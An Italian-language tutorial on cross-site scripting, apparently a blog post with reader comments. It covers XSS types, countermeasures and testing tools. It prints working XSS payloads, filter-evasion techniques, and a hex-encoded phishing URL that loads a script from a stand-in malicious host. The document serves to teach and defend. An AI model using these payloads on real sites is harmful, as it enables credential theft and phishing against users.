XSS in Depth

XSS alert

Con lo sviluppo del web e con la crescita del numero di persone che ne fanno uso, la diffusione di applicazioni web e di servizi, che enti governativi, banche e siti di e-commerce rendono disponibili ai loro utilizzatori, aumentano anche le vittime di attacchi mirati a rubare informazioni sensibili.

Da qualche anno ormai sentiamo parlare in continuazione di phishing e vulnerabilità delle applicazioni web. I problemi di sicurezza si verificano sempre più a un livello applicativo piuttosto che di rete. In molti, sia utenti che parte degli addetti ai lavori, continuano a tralasciare questo aspetto. Spesso viene vanificato il lavoro svolto a livello di rete e gli utenti vengono esposti ad enormi rischi. Gli advisory di sicurezza sulle applicazioni web sono ormai diventati parte della routine quotidiana.

Le vulnerabilità delle applicazioni web hanno consentito la diffusione di attacchi mirati non alla compromissione della parte server, ma diretti all’utente. Questi attacchi, come il web, sono multi piattaforma. Essi, infatti, colpiscono l’utente indipendentemente dal sistema operativo che egli sta usando, sia esso Windows, Gnu/Linux, MacOS, FreeBSD od OpenBSD.

XSS (Cross Site Scripting) è un esempio concreto dello scenario sopra descritto.

Cos’è

XSS, inizialmente chiamata CSS e in seguito abbandonata come abbreviazione per evitare la confusione con Cascade Style Sheets, è una vulnerabilità delle applicazioni web, la cui scoperta avvenne intorno al 2000. Essa è causata da una cattiva gestione dei dati immessi in input e dal conseguente output: simboli come maggiore >, minore < ed altri, usati nei linguaggi client side, non vengono adeguatamente codificati in HTML, venendo inclusi come codice interpretabile nel sorgente della pagina web. Infatti i simboli < e > dopo essere stati presi in input dovrebbero essere prima codificati rispettivamente in &lt; e &gt;ò e poi mandati in output all’utente.

Potenzialmente qualsiasi applicazine web che visualizzi in output il dato inserito in input dall’utente (tramite GET, POST, cookie, referer, user agent, etc) può essere affetta da questa falla. XSS dà la possibilità a malintenzionati di inserire nei siti web affetti da tale vulnerabilità codice di vario tipo, purché client side, che verrà in seguito interpretato dai browser degli altri utenti come facente parte del sito stesso. La Domain Based Security, ovvero le policy che gestiscono i vari livelli di fiducia per ciascun dominio, viene in questo modo vanificata. Proprio questo è ciò che rende diversa XSS da un comune codice nocivo, inserito in un sito qualsiasi: ad esempio, tutti i moderni browser non permettono a uno script di avere accesso a un cookie proveniente da un dominio differente; lo script vi ha accesso solo se il cookie è relativo al proprio sito. Qualora sia presente XSS, è possibile iniettare HTML, Javascrip, Vbscript, Activex, Flash, ma non Php perché server side. In alcuni casi, se il sito vulnerabile è catalogato come fidato dal browser, si potrà addirittura far eseguire applicazioni locali, come un editor di testo, una calcolatrice, etc.

Schema XSS

XSS è spesso sottostimata, sottostimata anche dagli stessi esperti di sicurezza. Di per sé, XSS, non compromette in modo diretto i web server, ma è un attacco contro gli utenti. A volte, anche quando viene trovata, non vi viene posto rimedio in quanto ritenuta una vulnerabilità a basso rischio che non può essere sfruttata con grandi conseguenze; questo modo di pensare è del tutto errato, in quanto l’attacker potrebbe trovare un modo di sfruttare una presente vulnerabilità, in maniera più creativa di quanto si possa immaginare. Gli effetti di XSS, in determinati contesti e in combinazione con altri tipi di attacchi, possono essere devastanti.

XSS è principalmente una vulnerabilità server side la cui vera vittima è l’utente ovvero la parte client side. Sfruttando questa falla un attacker potrebbe riuscire a dirottare la navigazione di un utente ignaro, rubare le credenziali di accesso, lanciare un DoS verso il sito stesso per mezzo dei client, fare port scanning della rete privata, rubare i cookie, fare un deface e molto, molto altro. Si pensi ai danni d’immagine per una società. Si immaginino le conseguenze se il sito vulnerabile fosse quello di una banca che offre servizi di home banking. O ancora, alla situazione di panico che si potrebbe generare, inserendo una notizia falsa su un sito istituzionale. In giro, le applicationi web vulnerabili sono tantissime. Anche siti come Facebook e YouTube sono stati e sono tuttora vulnerabili a qualche forma di cross site scripting. Recentemente, a gennaio 2008, il famoso software di VoIP Skype si è mostrato vulnerabile ad un attacco di cross site scripting, per essere più precisi, a cross zone scripting (CZS) ovvero XSS dentro una zona privilegiata, ritenuta fidata; l’esistenza di tale falla è merito della parte di Skype che si appoggia al web, ereditandone le vulnerabilità.

Esistono tre categorie di XSS: Reflected, Stored e DOM based.

  • La reflected è molto comune (circa ¾ delle XSS sono di tipo reflected) e può essere usata contro gli utenti, accompagnata da un minimo di ingegneria sociale. Essa non inietta codice in modo permanente nella pagina, ma consente di passare all’applicazione un dato che poi verrà mostrato senza un’adeguata codifica HTML e quindi sarà eseguito come codice nativo della pagina web. È comune trovare search engine e pagine d’errore afflitte da questa falla. Nella pratica, questa tipologia viene sfruttata mediante un URL appositamente creato, che in seguito viene inviato alla vittima, in vari modi. Si ricorda come nel dicembre 2005 furono scoperte due vulnerabilità di questo tipo in Google.com.
  • La stored è la più pericolosa ed è sicuramente una potente arma nella mani dell’attacker; essa consente di inserire codice nella web page in modo permanente, che verrà eseguito dai browser di tutti i successivi utenti del sito. Tipicamente si trova in blog, forum, guest book e dovunque sia possibile inserire messaggi, in qualsiasi codice interpretabile dai browser, che vengono salvati, a volte in un database. Con una XSS stored un malintenzionato può attaccare con poco sforzo, su un sito trafficato, migliaia di utenti in poco tempo e far eseguire loro codice dannoso, per esempio diffondere Cross Site Scripting virus. Un esempio reale è dato dal caso del virus Samy che, nell’ottobre del 2005, ben dimostrò la potenza di questa tipologia di virus; in meno di 24 ore colpì più di un milione di utenti. Gli XSS virus sono un’enorme minaccia che non si ferma davanti ai tradizionali firewall o antivirus.
  • La DOM based o local XSS è la meno diffusa delle tre e quella che ha gli effetti più devastanti sul singolo utente. È molto simile alla reflected, per quel che riguarda i metodi di propagazione. La riuscita dell’attacco dipende sopratutto dal browser usato dalla potenziale vittima; ormai, in molti browser, la vulnerabilità che permetteva un simile attacco è stata sanata. La differenza principale rispetto alle altre due tipologie di XSS è che il problema risiede nella parte client side della pagina e non in quella server side, cioè non dipende dalla parte server side dell’applicazione, ad esempio dal codice php di una pagina; essa infatti si presenta anche su pagine statiche, in semplice HTML.

XSS attack strings

Le stringhe d’attacco cambiano a seconda del browser che si intende attaccare, infatti alcune funzionano solo con Mozilla Firefox, mentre altre solo con Apple Safari, altre ancora solo con Internet Explorer e così via. Le seguenti sono generiche e dovrebbero essere interpretate in modo corretto con la maggior parte dei browser:

<<script>alert(“owned by Ti”);//<</script>
<SCRIPT/SRC=”http://sitocattivo/scriptcattivo.js”></SCRIPT>
\”;alert('owned by Ti');//
</TITLE><SCRIPT>alert(“owned by Ti”);</SCRIPT>
<BODY ONLOAD=alert('owned by Ti')>
<FRAMESET><FRAME SRC=”javascript:alert('owned by Ti')”></FRAMESET>

Ovviamente, oltre queste, è possibile usare qualsiasi stringa che possa essere interpretata dai browser degli utenti, come ad esempio questa <img src="http://sitocattivo/immaginecattiva.jpg"> che inserisce un’immagine (immaginecattiva.jpg), ospitata su un sito esterno (sitocattivo), nel sito vittima. Altre stringhe sono reperibili a questa pagina. Si tenga presente che le stringhe contenenti la parola“XSS” spesso vengono filtrate.

Encoding

In alcuni casi, vengono filtrate determinate stringhe o caratteri. È possibile bypassare tali meccanismi di difesa con l’encoding, ovvero il processo di conversione di una stringa da un formato ad un altro, per far in modo che non venga gestita in un modo previsto. Le principali tecniche sono basate sulla sostituzione dei caratteri ASCII con l’equivalente in hex (esadecimale), in double hex o con i simboli di escape UTF-8/Unicode (per Microsoft IIS). L’econding può risultare efficace nel bypassare molti dei meccanismi che bloccano dei determinati caratteri; se, ad esempio, è filtrato il carattere < (minore), può bastare sostituirlo con %3c, l’equivalente in hex, per evitare che venga filtrato. In un caso pratico, immaginiamo che vi sia un web server con un’applicazione web che ha il search engine vulnerabile ad una XSS, ma vi sia un WAF (web application firewall) filtrante i caratteri < e >, che blocca le stringhe d’attacco. La stringa seguente sarà sicuramente bloccata o i caratteri < e > sostituiti con qualcos’altro, rendendo negativi i risultati dei test:

http://www.sitovuln.gov/cerca.asp?stringa=<<SCRIPT>alert("0wneD by Ti");//<</SCRIPT>

Se invece si codifica l’URL, non ci saranno più caratteri che combaciano con quelli filtrati e l’attacco andrà a buon fine. L’URL precedente, codificato in hex, appare così:

http://www.sitovuln.gov/cerca.asp?stringa=%3C%3C%53%43%52%49%50%54%3E%61%6C%65%72%74%28%22%30%77%6E%65%44%20%62%79%20%54%69%22%29%3B%2F%2F%3C%3C%2F%53%43%52%49%50%54%3E

Le tecniche di encoding possono ritornare utili anche nel mascheramento di un URL, per una XSS reflected, in modo da destare meno sospetti. Sempre sul sito ha.ckers.org sono presenti diversi strumenti per l’encoding. Ovviamente non è necessario che l’intera stringa venga codificata, può bastare codificare i soli caratteri che vengono filtrati. Seguono alcuni esempi di encoding.

La stringa <script>alert(“owned”);</script> in hex è:

%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%201C%6F%77%6E%65%64%201D%29%3B%3C%2F%73%63%72%69%70%74%3E

La stringa <BODY ONLOAD=alert('owned')> in hex è:

%3C%42%4F%44%59%20%4F%4E%4C%4F%41%44%3D%61%6C%65%72%74%28%27%6F%77%6E%65%64%27%29%3E
Tabella conversione Hex
Hex ASCII
%3C <
%3E >
%2F /
%28 (
%29 )
%00 null byte
%20 space
%0A new line
%25 %
%3D =

Scenari d’attacco

Stored: Molti siti hanno un pannello di amministrazione dal quale è possibile visualizzare le statistiche d’accesso e i dati sul browser usato, sul sito di provenienza, etc, dei navigatori. Parte di questi dati, ad esempio l’user agent e il referer, vengono forniti dal browser. Per il campo user agent il browser invierà qualcosa del tipo “Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080501 BonEcho/2.0.0.14”, che in seguito sarà visualizzata nella pagina delle statistiche. Ma cosa succede se al posto della stringa di default, il browser inviasse qualcosa come <script>alert(“ciao mondo”);</script>, tanto per essere buoni? Beh non è difficile immaginarlo. Se l’applicazione web in questione è vulnerabile, quando l’amministratore del sito andrà a vedere le statistiche sarà probabilmente vittima dell’attacco.

Reflected: Immaginate che il sito di una banca sia vulnerabile a un attacco XSS reflected. L’attacker ha una lista di indirizzi e-mail, molti dei quali appartengono a clienti della suddetta banca. Il malintenzionato invia a ciascun indirizzo un’e-mail con un link del genere:

http://www.sitobanca.it/cerca.asp?stringa=%3C%53%43%52%49%50%54%2F%53%52%43%3D%201D%68%74%74%70%3A%2F%2F%73%69%74%6F%63%61%74%74%69%76%6F%2F%73%63%72%69%70%74%63%61%74%74%69%76%6F%2E%6A%73%201D%3E%3C%2F%53%43%52%49%50%54%3E

Magari l’e-mail è in HTML e l’utente visualizzando un normale link, del tipo “Accesso ai servizi di Home Banking”, ci clicca su perché sembra proprio un’e-mail mandata dalla propria banca. Molte delle persone che ricevono l’e-mail non sono clienti della banca; altri si insospettiscono; in entrambi i casi l’e-mail viene cestinata. Malgrado ciò, ci sono utenti che ci cliccano su e cadono nella trappola dell’attacker. All’apertura della pagina, una finestra di prompt chiedente le credenziali per l’accesso ai servizi di home banking, si presenta all’utente. Ingannato dall’URL familiare, inserisce i dati senza esitazione. Questo è un tipico scenario di Phishing. In situazioni del genere il malintenzionato riuscirà in poco tempo ad avere le credenziali d’accesso del malcapitato. Un esempio di una semplice applicazione in php, vulnerabile all’attacco sopra descritto, è dato dal codice seguente:

<?php
echo $_GET['var'];
?>

Questo codice php semplicemente stampa il contenuto di una variabile, senza effettuare alcun controllo.

Contromisure

Per prevenire XSS, l’applicazione web deve essere sviluppata seguendo alcune regole:

  • Evitare di ammettere in input caratteri speciali come: “<”, “>”, “(”, “)”, “&”, “#”, “%”.
  • Codificare l’output in HTML, così da rendere inoffensivi anche i caratteri speciali.
  • Limitare la lunghezza delle stringhe in input ammesse all’utente.

Codificare i seguenti simboli, con la rispettiva codifica HTML, è quello che ogni applicazione dovrebbe fare:

Carattere Codifica
< &lt;
> &gt;
& &amp;
&quot;
&apos;
( &#40;
) &#41;
# &#35;
% &#37;
; &#59;
+ &#43;

Utile e interessante è il progetto OWASP Filters che mette a disposizione funzioni già pronte per il filtraggio degli input. Disabilitare il supporto all’HTTP TRACE del proprio server web è fondamentale per evitare che possano essere sferrati attacchi di tipo cross-site tracing (XST). Quando infatti è supportato il metodo TRACE ed è presente una vulnerabilità di tipo XSS nell’applicazione web, è possibile effettuare un attacco di tipo XST così da poter bypassare le misure di sicurezza, contro il furto di cookie, di Internet Explorer 6 SP1. Con I.E. 6 SP1 è stata introdotta una misura di sicurezza contro il furto di cookie: httpOnly. Quando un cookie è httpOnly, è impossibile accedervi direttamente tramite script, per questo è nata la cross site trace. Tuttavia, anche XST è stata mitigata nei browser di ultima generazione, rendendo impossibili gli attacchi che mirano al furto di cookie; perlomeno tramite XST. Gli ultimi browser bloccano le richieste TRACE mediante XMLHttpRequest. È bene comunque disabilitare il metodo TRACE; in Apache, è possibile farlo mediante mod_rewrite, con:

RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^TRACE
RewriteRule .* - [F]

È anche possibile usare WAF che intercettino e blocchino stringhe maligne. PHPIDS è un Php intrusion detection system, che rileva i tentativi di attacco e può essere impostato per reagire con una determinata azione. Lato utente, le cose che si possono fare limitano solo parzialmente il problema. Scelta abbastanza efficace, ma poco pratica, è quella di disabilitare l’esecuzione di script nel proprio web browser; questo comunque non mette al riparo, in modo completo, da XSS poiché l’attacker può comunque modificare la pagina con dei semplici tag HTML. Uno dei tool che può essere utile all’utente è NoScript, un plugin per Mozilla Firefox, che permette di settare delle policy per la gestione degli script in base al dominio e inoltre fornisce degli specifici meccanismi di protezione contro le reflected XSS.

Come scovarla?

Per capire se l’applicazione è vulnerabile, bisogna immettere in input i caratteri o le stringhe che sono potenzialmente nocive ed osservare come l’applicazione reagisce: se filtra e come filtra, se codifica correttamente in HTML, etc. Dopo aver inserito le stringhe di prova, si andrà a vedere i sorgenti della pagina che viene restituita e da lì si comprenderà se c’è la vulnerabilità o meno.

Per testare la propria applicazione, si può ricorrere all’uso di tool di fuzzing per velocizzare le operazioni di test. Per questi tool si faccia riferimento al progetto OWASP. Esistono, poi, strumenti in grado di automatizzare quasi completamente le operazioni di test, che, benché non garantiscano la totale assenza di XSS flaw, possono aiutare. Due tool interessanti sono CAL9000 di OWASP e Burp proxy, entrambi gratuiti. Ma anche in ambito commerciale vi sono tool molto validi.

Importante è sottoporre a test tutti i parametri con cui l’utente può inviare input. Come stringhe da usare durante i test, si può far riferimento a quelle sopra nominate, in particolare alla collezione reperibile su ha.ckers.org. Testare gli stessi parametri, con metodi diversi, provando sia GET che POST, è una tecnica che può portare a dei risultati. Fare attenzione nel caso in cui l’applicazione web supporti l’upload/download: ad esempio, nel caso dei file JPEG, se non viene validato il contenuto del file, esso può contenere codice eseguibile che probabilmente verrà interpretato da Internet Explorer.

In molti casi, le comuni stringhe d’attacco non portano ad alcun risultato e può essere necessario fare qualcosa di un pò più elaborato. Uno dei metodi che spesso può venire in aiuto, durante la ricerca di cross site scripting nell’applicazione che si sta testando, è l’uso delle double quote. Prendiamo in esempio il codice seguente:

<input type=”testo” value=”<SCRIPT>alert(“vuln”)</SCRIPT>”>

Questo codice non sarà interpretato dal browser; è necessario chiudere il tag. Per farlo, la stringa d’attacco diverrà così:

“><SCRIPT>alert(“vuln”)</SCRIPT>

Si osservi il seguente codice, nel quale viene utilizzata la nuova stringa:

<input type=”testo” value=””><SCRIPT>alert(“vuln”)</SCRIPT>”>

Ora il codice sarà interpretato, ma saranno visualizzati a video gli ultimi due caratteri, “>. Per evitare che ciò accada, si può far uso di un fake tag. Ecco la terza versione della nostra stringa:

“><SCRIPT>alert(“vuln”)</SCRIPT><faketag=”zaza

faketag non è un tag valido e permetterà di evitare che vengano visualizzati gli ultimi due caratteri. Altri filtri invece rendono inutilizzabili le double quote, costringendo il tester a non usarle. Una possibile soluzione è il metodo String.fromsCharCode(), che prende in input valori Unicode e restituisce caratteri normali. Un esempio di stringa d’attacco che fa uso di questo metodo è la seguente:

<SCRIPT>alert(String.fromCharCode(84,105))</SCRIPT>

Altre tecniche per l’evasione dei filtri, in particolare di quelli signature based, includono l’uso di caratteri uppercase e di spazi nelle stringhe d’attacco. Seguono degli esempi:

“><ScRiPt >alert(“Ti”)</ScRiPt >“><scr<script>ipt>alert(“Ti”)</scr</scritp>ipt>

L’inserimento di un byte null %00, prima della stringa, fa si che determinati filtri si fermino, lasciando intatto il payload: %00<script>. Si tenga sempre in considerazione che la buona riuscita di un attacco dipende anche da che browser usa l’utente: facendo uso di codice che non è strettamente standard, non è detto che questo funzioni in tutti i browser e allo stesso modo.

Attack tool

BeEF framework e XSS Shell due potenti tool che permettono, mediante XSS, di prendere il controllo della vittima. Essi sono un esempio della potenza di XSS.

XSS Shell ha diverse funzioni built-in cui è anche possibile aggiungerne delle proprie. Tra i comandi disponibili ci sono: get cookie, get current page, execute custom javascript, get mouse log, get keylogger data, get clipboard, get internal ip address, check visited links, crash browser. L’ultima versione disponibile è la 0.3.9.

BeEF è un browser exploitation framework che permette di effettuare un attacco in realtime, nel senso che si presta particolarmente alle dimostrazioni sull’impatto di XSS. Una volta che la vittima ha visitato la pagina appositamente creata, diviene uno zombie di cui si prende il controllo. BeEF rende possibile fare cose di grande impatto visivo. Nella home page del tool è disponibile un video dimostrativo. L’ultima versione disponibile è la 0.3.2.

Conclusione

Oggi, per difendersi, ci vuole molto più di un tradizionale antivirus/firewall. XSS è una potente arma nelle mani di un “bad guy” e i fatti accaduti durante il corso degli anni lo dimostrano. Essa è solo una delle tante in un mondo tutto da scoprire come quello della web application security. I principali responsabili sono gli sviluppatori. La cosa che più incide è la mancanza di consapevolezza nell’uso della tecnologia. I modi per difendersi esistono. Si ricorda ai lettori un’ultima cosa: SIATE CREATIVI!

Comments

  1. Complimenti per l’articolo.
    L’ho tovato davvero incisivo ed esauriente!
    Interessante la sezione relativa ad i tool per testare un sito.
    ciao

  2. Il link a XSS Shell non funziona.
    Per il resto ottimo articolo!! 🙂

  3. Ottimo articolo. Per curiosità può essere interessante leggere anche questo paper http://crypto.stanford.edu/cs155/papers/CSS.pdf .
    La XSS shell è disponibile all’indirizzo http://www.portcullis-security.com/tools/free/XSSShell039.zip

    gnix

Policy per i commenti: Apprezzo moltissimo i vostri commenti, critiche incluse. Per evitare spam e troll, e far rimanere il discorso civile, i commenti sono moderati e prontamente approvati poco dopo il loro invio.